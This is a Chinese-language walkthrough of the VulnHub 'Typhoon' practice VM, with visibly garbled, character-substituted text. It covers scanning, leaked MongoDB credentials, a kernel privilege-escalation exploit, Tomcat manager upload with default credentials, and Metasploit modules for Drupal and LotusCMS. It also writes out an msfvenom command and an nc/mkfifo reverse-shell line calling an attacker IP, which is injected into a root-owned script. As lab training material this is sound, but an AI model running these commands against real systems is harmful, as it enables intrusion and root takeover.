SoftNight 嘶吼专业版 php
本次的Typhoon靶机包含了几个漏洞和配置错误。大家能够用这个靶机来测试网络服务漏洞,配置错误,web应用漏洞,也能够进行密码破解***,提权,后***,还能够进行信息收集和DNS***。python
靶机下载地址:https://www.vulnhub.com/entry/typhoon-102,267/mysql
***测试方法ios
· 网络扫描(Netdiscover和Nmap都行)web
· 方法一:利用MongoDB进行***sql
· 查看robots.txtshell
· 经过浏览器利用MongoDB浏览器
· 获取凭证tomcat
· SSH登陆bash
· 查看内核版本
· 内核提权
· 拿到root shell
· 方法二:经过Tomcat管理界面进行***(借助metasploit神器)
· 生成bash payload
· 上传bash payload
· 拿下root shell
· 方法三:利用Drupal CMS进行***
· 方法四:利用Lotus CMS进行***
这个靶机漏洞较多,因此咱们也有不少方法来***它。不过本文只演示两种方法,其余方法你们能够本身琢磨。
方法1:经过MongoDB***
实战开始
第一步,使用netdiscover进行网络发现,找到咱们的靶机IP。
netdiscover
咱们这里的IP是192.168.1.101(每一个人的IP可能不同)。
下一步是对IP进行扫描,固然是少不了Nmap神器。
nmap -A 192.168.1.101
扫完后能够看到开放的端口和对应的服务以下:
· 21(ftp),
· 22(ssh),
· 25(smtp),
· 53(domain),
· 80(http),
· 110(pop3)
· 111(rpcbind)
· 139(netbios-ssn)
· 143(imap)
· 445(netbios-ssn)
· 631(ipp)
· 993(ssl/imaps),
· 995(ssl/pop3)
· 2049(nfs_acl)
· 3306(mysql),
· 5432(postgrespl)
· 8080(http)
如图:
在图中,能够看到robots.txt文件中/monoadmin这个目录禁止访问,这个目录可能会有用。咱们还注意到8080端口也开放了,对应的服务是Apache Tomcat,使用的引擎是Coyote JSP engine1.1。这多是另一种***靶机的方法,咱们一下子再来看看。
咱们先仍是从80端口入手,经过浏览器访问一下/monoadmin这个目录,访问结果如图所示:
这里咱们设置 change database为credentials(84mb),它会显示2个凭证的连接,咱们点击一下这个连接,居然显示出了用户名和密码,用户名是typhoon,密码是789456123,如图:
这个凭证对进一步***可能会大有帮助。
过了一下子以后,忽然脑海中蹦出来一个大胆的猜想,既然开放了22端口,那为何不用刚才发现的凭证登陆一下ssh试试呢,不得不说真是瞎猫碰上了死耗子,居然成功登录上来了,如图:
登陆以后,咱们发现虚拟机操做系统是Ubuntu14.04。而咱们对Ubuntu14.04的提权exp也比较熟悉,这真是太棒了。
接着,咱们用使用searchsploit来搜索Ubuntu14.04的提权exp,咱们使用的exp已经在下图中用红框框出来了,而后咱们将exp 37292.c复制到/root/directory目录下,而后使用Python启动一个服务器,从靶机中来下载这个exp。
exp搜索如图:
在靶机中把exp下载下来以后,将它放到/tmp目录下,而后编译exp并赋予权限,而后执行。
哦耶,成功提权到root。而且找到flag就在根目录下,查看一下文件内容便可获得flag,如图:
方法2:经过Tomcat Manager***
思路是这样的,利用Tomcat Manager Upload能够得到一个meterpreter会话,而后创建反向链接得到root权限。
OK,开始***实战。
前面经过扫描已经知道了8080端口是开放的,并且运行的是Apache Tomcat服务,直接在浏览器中访问8080端口看看,如图:
经过之前其余靶机的实战操做,咱们已经对使用manager webapp来登陆Tomcat服务器很是熟悉了。因而咱们直接使用metasploit的一个模块tomcat_mgr_upload来尝试进行登陆,使用Tomcat默认的用户名密码便可。
用户名:tomcat
密码:tomcat
噢耶,登陆成功,得到meterpreter会话,如图:
进来以后发现是一个Python shell,之前咱们也常常遇到,使用一条命令就能够进入系统的shell,命令以下:
python -c ‘import pty;pty.spawn(“/bin/bash”)’
上图中也已经框出来这条命令。
接着咱们花了一些时间来查找和遍历文件,发如今/tab目录下有一个script.sh文件,全部者是root,而且拥有全部权限。
既然如此,那咱们就想着往这个文件里插入一些恶意代码。
OK,那咱们就使用msfvenom来生成一段bash code,命令以下:
msfvenom –p cmd/unix/reverse_netcat lhost=192.168.1.109 lport=1234 R
生成的恶意代码如图:
而后咱们将此恶意代码插入到script.sh文件中,使用以下命令:
echo "mkfifo /tmp/vvwjo; nc 192.168.1.109 1234 0</tmp/vvwjo | /bin/sh >/tmp/vvwjo 2>&1; rm /tmp/vvwjo" > script.sh
如图:
因为恶意代码在script.sh文件中得以执行后,咱们在监听的nc端口上得到了一个反向的shell,而这个shell的权限直接是root,接下来查看root-flag就很少说了。
方法三:经过Drupal CMS***
访问80端口时并无发现什么,因而咱们使用Dirb来对web目录进行遍历,看看有没有新发现,如图:
如图可知,有两个cms目录,已经标记出来,有一个是drupal,这就有点搞头了。访问一下drupal目录,如图:
在metasploit中有一个能够直接利用drupal cms的模块,那就很少啰嗦了,直接上metasploit,命令以下:
use exploit/unix/webapp/drupal_drupalgeddon2
msf exploit(/unix/webapp/drupal_drupalgeddon2) > set rhost 192.168.1.101
msf exploit(/unix/webapp/drupal_drupalgeddon2) > set targeturi /drupal
msf exploit(/unix/webapp/drupal_drupalgeddon2) > exploit
nice,依然能够顺利拿下meterpreter会话,是否是很爽。接下来的后***就跟方法一中方法同样,你们能够本身尝试。
方法四:经过Lotus CMS***
刚才经过目录扫描,发现了两个cms目录,咱们已经对drupal cms进行***了,如今咱们再来搞一下第二个cms,首先仍是经过浏览器访问一下,如图:
其实方法跟上面的同样,metasploit中也有一个能够直接利用lotus cms的模块,利用命令以下:
use exploit/multi/http/lcms_php_exec
msf exploit(multi/http/lcms_php_exec) > set rhost 192.168.1.101
msf exploit(multi/http/lcms_php_exec) > set uri /cms/
msf exploit(multi/http/lcms_php_exec) > exploit
执行命令后,结果如图:
很是棒,咱们一样得到了靶机的另外一个meterpreter会话,后***的步骤跟上面的同样,就不啰嗦了,你们本身跟着方法一的步骤作一遍便可。